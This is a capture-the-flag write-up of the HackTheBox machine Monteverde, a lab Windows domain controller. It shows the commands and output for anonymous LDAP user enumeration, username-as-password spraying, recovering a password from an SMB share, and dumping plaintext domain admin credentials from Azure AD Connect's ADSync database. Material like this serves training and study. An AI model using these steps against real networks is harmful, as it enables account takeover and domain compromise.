> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/monteverde.md). # Monteverde
### **1. Enumeration** I started with an Nmap scan to see what we're dealing with. It’s a standard Windows Domain Controller. ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.228.111 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 08:49 -0500 Nmap scan report for 10.129.228.111 Host is up (0.43s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-04 13:49:20Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-03-04T13:49:57 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: -54s ``` There was no guest access to smb ```bash ┌──(kali㉿kali)-[~] └─$ smbclient -L //10.129.228.111 -N Anonymous login successful Sharename Type Comment --------- ---- ------- Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.228.111 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ``` Since there was no guest access to SMB or a website, I figured this would be a password attack. I first enumerated a user list using an **LDAP anonymous bind**. ```bash ┌──(kali㉿kali)-[~/Documents/monteverde] └─$ ldapsearch -x -H ldap://10.129.228.111 -b "DC=megabank,DC=local" "(objectClass=user)" "select SamAccountName" # extended LDIF # # LDAPv3 # base with scope subtree # filter: (objectClass=user) # requesting: select SamAccountName # # Guest, Users, MEGABANK.LOCAL dn: CN=Guest,CN=Users,DC=MEGABANK,DC=LOCAL # MONTEVERDE, Domain Controllers, MEGABANK.LOCAL dn: CN=MONTEVERDE,OU=Domain Controllers,DC=MEGABANK,DC=LOCAL # AAD_987d7f2f57d2, Users, MEGABANK.LOCAL dn: CN=AAD_987d7f2f57d2,CN=Users,DC=MEGABANK,DC=LOCAL # Mike Hope, London, MegaBank Users, MEGABANK.LOCAL dn: CN=Mike Hope,OU=London,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL # SABatchJobs, Service Accounts, MEGABANK.LOCAL dn: CN=SABatchJobs,OU=Service Accounts,DC=MEGABANK,DC=LOCAL # svc-ata, Service Accounts, MEGABANK.LOCAL dn: CN=svc-ata,OU=Service Accounts,DC=MEGABANK,DC=LOCAL # svc-bexec, Service Accounts, MEGABANK.LOCAL dn: CN=svc-bexec,OU=Service Accounts,DC=MEGABANK,DC=LOCAL # svc-netapp, Service Accounts, MEGABANK.LOCAL dn: CN=svc-netapp,OU=Service Accounts,DC=MEGABANK,DC=LOCAL # Dimitris Galanos, Athens, MegaBank Users, MEGABANK.LOCAL dn: CN=Dimitris Galanos,OU=Athens,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL # Ray O'Leary, Toronto, MegaBank Users, MEGABANK.LOCAL dn: CN=Ray O'Leary,OU=Toronto,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL # Sally Morgan, New York, MegaBank Users, MEGABANK.LOCAL dn: CN=Sally Morgan,OU=New York,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL # search reference ref: ldap://ForestDnsZones.MEGABANK.LOCAL/DC=ForestDnsZones,DC=MEGABANK,DC=LOC AL # search reference ref: ldap://DomainDnsZones.MEGABANK.LOCAL/DC=DomainDnsZones,DC=MEGABANK,DC=LOC AL # search reference ref: ldap://MEGABANK.LOCAL/CN=Configuration,DC=MEGABANK,DC=LOCAL # search result search: 2 result: 0 Success # numResponses: 15 # numEntries: 11 # numReferences: 3 ``` ### **2. Initial Access** I first tried `rockyou.txt`, but didn't get anything. I decided to try **usernames as passwords**.\ made a list of usernames ```bash mhope dgalanos roleary smorgan SABatchJobs svc-ata svc-bexec svc-netapp AAD_987d7f2f57d2 ``` The user `AAD_987d7f2f57d2` was a sign that this machine was about `Azure AD`, which is pretty interesting for me.\ then i first tried `rockyou.txt`, but didn't got anything so then tried using usernames as password. ```bash ┌──(kali㉿kali)-[~] └─$ netexec smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:smorgan STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs ``` And got access to 1 user Logged in as `SABatchJobs`, I checked the SMB shares. In `users$/mhope`, I found an `azure.xml` file. ```bash ┌──(kali㉿kali)-[~] └─$ smbclient -L //10.129.228.111 -U SABatchJobs%SABatchJobs Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin azure_uploads Disk C$ Disk Default share E$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share users$ Disk ``` **Content of azure.xml:** ```bash ┌──(kali㉿kali)-[~/Documents/monteverde] └─$ cat azure.xml �� Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential System.Object Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential
2020-01-03T05:35:00.7562298-08:00
2054-01-03T05:35:00.7562298-08:00
00000000-0000-0000-0000-000000000000 4n0therD4y@n0th3r$ ``` I expected this password to belong to the AAD account, but since it didn't work, I **password sprayed** my user list again. ```bash ┌──(kali㉿kali)-[~/Documents/monteverde] └─$ netexec smb 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE ``` Straight away, it worked on **mhope**. I used `evil-winrm` to get the user flag. ```bash ┌──(kali㉿kali)-[~/Documents/monteverde] └─$ evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$' *Evil-WinRM* PS C:\Users\mhope\Documents> type ../Desktop/user.txt bxxxexxxxxxxxxxxxxxxx2b16 ``` ### **3. Privilege Escalation** I checked my groups and saw I belonged to **Azure Admins**, and ran a bloodhound scan as well (tho it wasn't needed, i just wanted to see which account had what type of privileges) ```bash *Evil-WinRM* PS C:\Users\mhope> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============================================ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 ``` And `azure admin` privilege straight away gave the privilege escalation path, because `Azure Admins` have the permissions to access the local Microsoft SQL Server Express database (LocalDB) that Azure AD Connect uses. This database, typically named `ADSync`, stores the credentials used to synchronize the on-premises Active Directory with Azure AD.\ so i downloaded the [Azure-ADConnect.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1) script to extract the credentials synced between Azure AD and op-prem AD, and got the admin password in clear text ```bash *Evil-WinRM* PS C:\Users\mhope> Import-Module ./Azure-ADConnect.ps1 *Evil-WinRM* PS C:\Users\mhope> Azure-ADConnect -server 127.0.0.1 -db ADSync [+] Domain: MEGABANK.LOCAL [+] Username: administrator [+]Password: d0m@in4dminyeah! ``` I logged back in with `evil-winrm` as the Administrator and grabbed the root flag. ```bash ┌──(kali㉿kali)-[~/Documents/monteverde] └─$ evil-winrm -i 10.129.228.111 -u Administrator -p 'd0m@in4dminyeah!' *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt 3ec1xxxxxxxxxxxxxxxxxxx76f0 ```